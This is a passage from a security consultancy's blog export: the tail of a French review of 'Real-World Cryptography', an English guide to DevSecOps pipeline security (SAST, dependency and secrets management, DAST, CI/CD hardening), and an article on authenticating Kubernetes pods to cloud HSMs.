et illustre l'ampleur du défi de la cryptographie en environnement fortement hostile. Le chapitre suivant traite de la cryptographie post-quantique. Ici pas de description détaillée de l'informatique quantique, mais plutôt celle des algorithmes permettant de résister aux algorithmes de Shor (permettant de casser RSA, DH et les courbes elliptiques). Concernant l'algorithme de Grover, capable de virtuellement diviser par deux la longueur des clés symétriques, le doublement de la longueur des empreintes cryptographiques (512 au lieu de 256) et des clés AES (256 au lieu de 128) est suffisant. David fournit une information amusante : il est possible d'augmenter la taille des clés RSA pour résister aux ordinateurs quantiques. Mais il faudrait une clé de 1 To ;-) Les algorithmes post-quantiques présentés sont : - les signatures basées sur des empreintes cryptographiques, faciles à comprendre grâce aux schémas didactiques, très sures, mais avec des clés assez longues - les algorithmes basés sur des réseaux euclidiens, en particulier Kyber et Dilithium, qui sont des candidats très sérieux à la compétition lancée par le NIST et qui doit aboutir en 2022 Faut-il commencer à paniquer ? L'ouvrage rapporte quelques prédictions de spécialistes, la plus alarmante d'une attaque sur RSA-2048 d'ici 5 ans avec une probabilité de 1/7, jusqu'à l'impossibilité d'aboutir à un ordinateur quantique réellement utile. Le principe de double signature (par exemple Ed25519 et Dilithium) a déjà été mis en œuvre. Le chapitre sur la cryptographie du futur est celui qui est le plus difficile à aborder, et l'auteur recommande de le passer rapidement puis d'y revenir plus tard. Il aborde les calculs multipartites sécurisés (MPC), avec plusieurs problèmes bien connus : - le problème des millionnaires, qui veulent comparer leur richesse sans la divulguer - le problème de l'intersection d'ensembles sans divulgation (PSI), pour lequel Signal a opté pour un logiciel tierce-partie dans une enclave SGX L'ouvrage détaille un algorithme PSI basé sur des générateurs OPRF, dont le principe a été retenu par Google pour vérifier les mots de passe faible dans Chrome sans les transmettre. Le chapitre se poursuit avec le chiffrement homomorphe (Fully Homomorphic Encryption, FHE), très bien décrit et dont on comprend les progrès considérables ces dernières années. La standardisation est en route, se reporter à https://homomorphicencryption.org. On notera que RSA n'est que partiellement homomorphique (uniquement pour la multiplication), FHE impliquant l'homomorphisme pour la multiplication et l'addition. Le premier algorithme FHE, bootstrap, a été inventé par 2009 par Craig Gentry. La partie la plus ardue concerne zk-SNARK (zero-knowledge Succint Non-Interactive Argument of Knowledge), une méthode de preuve efficace de connaissance popularisée par les blockchains, et dont l'ouvrage présente les grandes lignes. Le dernier chapitre fournit des conseils pratiques : - la complexité est l'ennemi de la sécurité - rester simple, même si cela mène à une cryptographie ennuyeuse - pour un cours complet, voir https://cryptobook.us, ou l'ouvrage "Serious Cryptography" de Jean-Philippe Aumasson - favoriser la cryptographie "polie", qui laisse peu de place à une mauvaise utilisation - utiliser des librairies éprouvées, comme Tink, libsodium, cryptography.io, ou la librairie standard de Golang - utiliser des vérifications formelles, avec Tamarin ou Verifpal par exemple - étudier les pièges du passé avec les challenges sur [cryptopals.com](https://cryptopals.com/) ou [cryptohack.org](https://cryptohack.org/) - et surtout éviter d'inventer votre propre algorithme Ce chapitre mentionne l'outil Wycheproof de Google, qui a permis de débusquer un nombre impressionnant de bugs dans des implémentations cryptographiques. Mais si 17% des problèmes viennent des librairies, 83% viennent de leur mauvaise mise en œuvre. Il est donc aisé de recommander la lecture de "Real-World Cryptography" aux programmeurs et membres d'équipes de sécurité des systèmes d'information. Mais toute personne curieuse de mieux comprendre cette étrange discipline qu'est la cryptographie trouvera également un grand bénéfice à sa lecture, tant David Wong fait preuve d'un formidable talent pour éclairer et illustrer des concepts souvent difficiles. --- ### Back to basics - Software Factory security URL: https://intuitem.com/software-factory-security Published: 2021-07-13 Author: Abderrahmane Smimite If you have not caught up with the trend of shifting security to the left in software development, you have probably heard of something equivalent: the DevSecOps or SecDevOps practices. It consists of doing as much as possible the security operations (scans, checks, etc.) at the earliest possible stages, and not wait until the end to go through « a validation process ». This is more practical, cost-efficient, scalable, and the most agile-friendly. In this article, we will go through the basic aspects that one should consider for software-factory security. You could, of course, extend it to include more topics, and you probably should. We are just highlighting the most common ones that we had to cover across our interaction with the customers on a variety of domains. In the following, I will only mention free software or one with a community edition. There is of course a lot of nice paid alternatives out there, sometimes even shipped with the CI/CD solution (the case of GitLab enterprise for instance), and it is up to you to choose what suits you better. ## Code security analysis: SAST SAST stands for Static Application Security Testing. This practice consists of detecting anti-patterns that could eventually lead to security issues. Such tools operate at the code level in the same manner as a linter will review your code for typing, formatting, or any compliance rules that we could establish for a coding style standard. Here are some good practices: - Perform SAST scans regularly, either periodically or at the build stage - Most tools have some form of exceptions management, that could be used to skip false positives, for instance using some specific tags like #nosec. Use that wisely and do not abuse it - When possible, establish a security gate, by using the output of the SAST tool to block the upcoming steps of your pipeline Some tools to consider: Snyk, SonarQube, Bandit for Python ## Dependencies management Unless you are reinventing the wheel for every component that you are developing, you are probably using and importing a few external libraries and modules. If it is the case, it is your responsibility to manage these third-party components by: - Importing them using the proper patterns according to your stack (e.g. requirements.txt). Don't copy the library's code unless you are forking a project. Using the standard patterns will allow you to easily use the existing tools for checkups - Using the latest version of dependencies could sound appealing to avoid handling the patch management. For obvious operational reasons such as your build reproducibility, you will need to manage some form of version pinning - Doing regular proper checks on your imports. Many tools are available out there that can be included as well on the pipeline to block the build if needed - Exclusively relying on an allow-list, with only validated and regularly reviewed dependencies (a more extreme yet tight approach) Busting a myth: « Open-source software cannot be vulnerable or malicious because the supporting community or company will prevent that ». While this could be the case for some active projects, you cannot just assume that, as they could have failed some security checks as well (code, dependencies, etc.). You should at least consider checking if the library has some known CVE or issues. Some tools to consider: npm audit, Safety for python, Dependabot, snyk ## Secrets management Most deployments need a set of credentials at some point. Whether to interact with a database, object storage, or a third-party API, the tokens or passwords need to be securely managed. This is a very common topic in Cybersecurity, and we will detail the proper patterns in a dedicated article. Here are some insights that you need to consider: - Use a proper password management system. The most known one is probably Hashicorp Vault. If you are using AWS or Azure, you can use their equivalent native services as well. Modern solutions have all the options that you might need, ranging from secrets generation to API interaction. - Never commit a secret to your codebase. If it is the case, your first reflex should be to revoke the credential and then, ideally, rework your git history if it is not too late - Perform regular checks to identify if there have been any leaks - If your development environment is unified amongst the team, you can even consider preventing committing the secrets (based on git hooks for instance). Some IDEs support plugins for that as well Some tools to consider: - Keys management: Hashicorp Vault, KeePass - Leaks detection: Trufflehog, Git guardian, Github secret check ## Compute vulnerability management Once your app is ready for deployment, it will require some form of compute service to run it: bare metal, VM, container-based, serverless, etc. Compute security is the foundation of any application security, and is either managed directly by you or delegated to a provider, as part of a Shared Responsibility Model. The process is basically about monitoring and applying the security patches of your OS components, as well as the associated libraries and dependencies. The patch management strategy will depend naturally on the compute technology and at which level the fix needs to be applied. For the most common case of VM or containers, it is basically about rebuilding and deploying your images. If you have opted for a serverless approach, it is most likely that the provider handles that on your behalf without any downtime to manage. You need to consider the following: - Detection is mandatory: you need to be able to identify the vulnerabilities and keep track of them - The lower you go at the infrastructure level, the more you need to handle patch management. Use managed services (PaaS or higher) as much as possible, to delegate that to the provider Some tools to consider: OpenVAS, Clair or Trivy for containers ## Runtime check: DAST Now that your app is deployed, you need to check it for security issues while it is running. To achieve that, we need a DAST tool, which stands for Dynamic Application Security Testing. Keep in mind that it is complementary to the SAST check explained above. A DAST tool operates as a lightweight pentest. It performs the usual checks for security vulnerabilities on runtime while considering your application as a black box and attacking it: port scan, SQL injection, cipher checks, banners detection to run specific exploits and even fuzzing. You should consider the following: - Tune and adapt the scan to your application to get relevant data. Modern DAST tools support multiple options: authenticated scan, API support, combination with functional testing such as a Postman collection, or even load testing - Run regular DAST scan on your production app, or at least on an accurate replicate with the same settings - Ideally, if you can tolerate some extra delay on your pipeline, perform the scan on your staging environment so that you can eventually block the deployment if issues are found Some tools to consider: OWASP ZAP, Nikto ## Core CI/CD security It goes without saying, but your software factory security will depend on your CI/CD tooling security. The hardening practices will vary according to your stack. Assuming that you are using Jenkins for instance, you should consider the following: - Review and maintain the underlying compute security, always :) - Federate your Jenkins access control with your existing authentication system (eg. Active directory) and fine-tune the roles - Review the credential store security since it will probably host your initial secret, the one that allows you to connect to a vault for instance. Some common practices are to ensure that the underlying storage is encrypted, the ssh access protected, etc. - Use a dedicated account to interact with the code base, vault, etc., ideally in read-only mode ## Combining everything Now that you have the big picture, we can summarize as follows: - Review your pipeline tooling security and do the proper hardening - Use a proper solution for secrets management - Prevent secrets committing and look for leaks - Perform SAST check on your codebase - Properly control your dependencies and regularly recheck them for vulnerabilities - Perform DAST check on your staging environment and prevent the deployment if it doesn't match a security gate - Ensure that the compute patch management is properly done, either by you or delegated to your managed services provider ## Final thoughts The main takeaway of this approach is that the earlier you fix it, the less it will cost you. It goes for vulnerabilities as well as for any other bug. You will end up having multiple warnings and many false positives: do not be discouraged by that, since it is part of the process. Progressively, you will be able to add nice and smart filters on all these findings and establish a priority system. A simple one will be probably based on the severity of the finding, the CVSS score, etc. If you choose to go with a more advanced solution, some can even give you an estimation of the effort to fix it. Just remember to measure and keep track of your progress. Do not rely entirely on automated tools, and support them with an awareness program, so that your team can make sense of all these practices and adopt them. --- ### Chicken and Egg Dilemma with Cloud HSMs URL: https://intuitem.com/chicken-egg-dilemma-cloud-hsm Published: 2019-04-03 Author: Eric Laubacher **I** have been asked recently about a design issue with HSMs in Kubernetes infrastructure (and cloud application in general): if an HSM contains all the keys, how can a pod authenticates to the HSM, without having itself a secret or private key? another common one is what's the point of having an HSM in the cloud if we end up trusting the provider for key management? This article aims to shed some light on this issue. ## What are HSMs A Hardware Security Module is a piece of specialized equipment dedicated to the management, storage, and exploitation of cryptographic secrets. The functions of an HSM can be easily performed by standard computers, using common cryptographic libraries like OpenSSL, so functionality is not a driver to use an HSM. performance is not the reason neither, as a mid-range server can perform more cryptographic operations and even faster than most HSMs.  The real added value of an HSM is to fulfill a fundamental security objective: the non-extractability of secret cryptographic material. A cryptographic key is said to be non-extractable if it is technically impossible to get a copy of it. It means that the only option for an attacker to abuse that key is to have physical or network access to the HSM. To achieve non-extractability, HSM manufacturers combine several security mechanisms: - The enclosure of the HSM is tamper-proof, with tight intrusion detection that provokes the erasure of secrets. - The security functions are highly specialized, and the software is thoroughly verified to avoid software vulnerabilities. Most HSMs are designed so that secrets keys never leave a hardware component, thus even a software vulnerability does not enable cloning a key. HSMs also provide secure audit logs of all actions. In the event of an attack, this provides a better view of the extent of the compromise. Let's compare a situation of suspicion of compromise of a signing key:  - A software-stored signing key shall be revoked anyway, for fear that the key has been cloned and will be used later by an attacker. - An HSM-stored signing key cannot be cloned, so there is no risk of that key being used later by an attacker once the breach is fixed. There is still a risk that forged signatures have been issued during the compromise. Fortunately, the audit log provided by the HSM will trace all the signatures that have been issued by the HSM, and thus it is possible to decide the optimal course of action. HSMs can be fitted in a server expansion slot, but most of them are available today in the form of a network appliance, which is very appropriate for data centers. They can be accessed from applications using appropriate libraries provided by the manufacturer, typically with a PKCS#11 interface or in the form of an OpenSSL engine. ## The issue with cryptographic keys in the cloud As noted earlier, there is no difficulty to perform cryptographic functions in a traditional server. Modern CPUs even embed hardware acceleration for AES, the infamous cryptographic algorithm. In many cases, we can process ephemeral keys only in RAM and for the duration of a session. The issue arises when there is a need to manipulate a long-term secret, like a signature key used for authentication for instance.  To benefit from non-extractability, we would like to store such a key in a network HSM, but any machine having access to the HSM could authenticate with that key. How can we control the access to that key so that only legitimate pods are authorized? The access control can be performed either by the network equipment or by the HSM. Let's consider both approaches. ### Access control at the network level The network equipment can filter packets to limit access to specific IP addresses or ports. Practically, the sole criterion to distinguish the applicant is the source IP address. To distinguish which key is requested, the destination port is a good match. But in a Kubernetes environment and most modern cloud architecture, the IP address of the pod is dynamic, so this is not a straightforward solution. ### Access control by the HSM The HSM can perform similar network filtering as the network equipment, but with the same shortcomings. It can also authenticate the client at the session or application level. However, this requires a long-term secret on the client side. But avoiding that situation was the whole point of using an HSM, thus the dilemma. ## Getting out of the loop The naked truth is that we need to trust the Kubernetes cluster to solve this chicken and egg problem. Here are a few possibilities: - Use a secret credential stored in a Kubernetes Secret object. This information is encrypted, and the encryption key will be stored in the etcd servers of the cluster. It is possible to enable data-at-rest encryption of the etcd database, notably with a KMS configuration (see reference [1]). - Use a Container Network Interface module that is able to control egress traffic from pods to the HSM, using the destination port as the key selector. Calico is a good candidate for this approach. A general deny rule shall be set, and then an egress filtering rule shall be established for each key access control (see reference [2]). - Use an access control mechanism provided by the cloud infrastructure. Azure provides an interesting solution with a Managed Service Identity used to control the access to Azure Key Vault, which is an abstract service implemented using HSMs (see reference [3]). ## Is it worth the effort? HSMs are no silver bullet, and the administrators of the Kubernetes cluster and infrastructure still need to be trusted. HSMs facilitate monitoring of sensitive key usage, significantly reduce the pitfalls of manipulating secrets for developers and operators, and help to recover more quickly in case of compromise. So clearly HSM technology makes sense in any cloud infrastructure running sensitive applications, especially for regulated industries. In my personal experience, in most case a software-based solution for secret management such as the infamous Vault (Hashicorp) is largely enough, and where we can focus on securing the master key (using an HSM for instance if required by regulation). **References** - [1] https://kubernetes.io/docs/tasks/administer-cluster/kms-provider/: how to use a KMS for data-at-rest encryption in etcd. - [2] https://docs.projectcalico.org/v3.5/getting-started/kubernetes/tutorials/advanced-policy: how to set a network filtering policy with Calico. - [3] https://lukieb.blogspot.com/2018/06/winning-chicken-and-egg-problem-with.html: an inspiring article that exposes a clever solution for Azure Vault.